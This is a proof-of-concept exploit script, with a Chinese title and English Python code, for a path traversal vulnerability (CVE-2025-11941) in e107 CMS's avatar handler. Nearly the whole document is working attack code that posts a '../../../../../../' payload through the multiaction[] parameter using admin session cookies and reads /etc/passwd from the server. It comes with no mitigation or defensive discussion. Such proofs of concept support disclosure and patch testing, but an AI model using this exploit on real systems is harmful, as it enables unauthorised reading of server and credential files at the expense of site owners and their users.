CVE-2025-11941：e107 CMS头像处理组件路径遍历漏洞

# CVE-2025-11941 PoC - e107 CMS Path Traversal via Avatar Handler # Vulnerability: Path traversal in multiaction[] parameter # Affected: e107 CMS <= 2.3.3 # Endpoint: /e107_admin/image.php?mode=main&action=avatar import requests TARGET_URL = "http://target-site.com/e107_admin/image.php" ADMIN_COOKIES = { # Replace with valid admin session cookies "e107_cookie": "your_admin_session_cookie_here" } def exploit_path_traversal(target_file): """ Exploit path traversal via multiaction[] parameter to access arbitrary files on the server. """ # Construct traversal payload to read target file payload = f"../../../../../../{target_file}" params = { "mode": "main", "action": "avatar" } data = { "multiaction[]": payload } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } response = requests.post( TARGET_URL, params=params, data=data, cookies=ADMIN_COOKIES, headers=headers ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") return response.text if __name__ == "__main__": # Attempt to read /etc/passwd as proof of concept print("[*] Attempting path traversal to read /etc/passwd...") result = exploit_path_traversal("etc/passwd") print(result)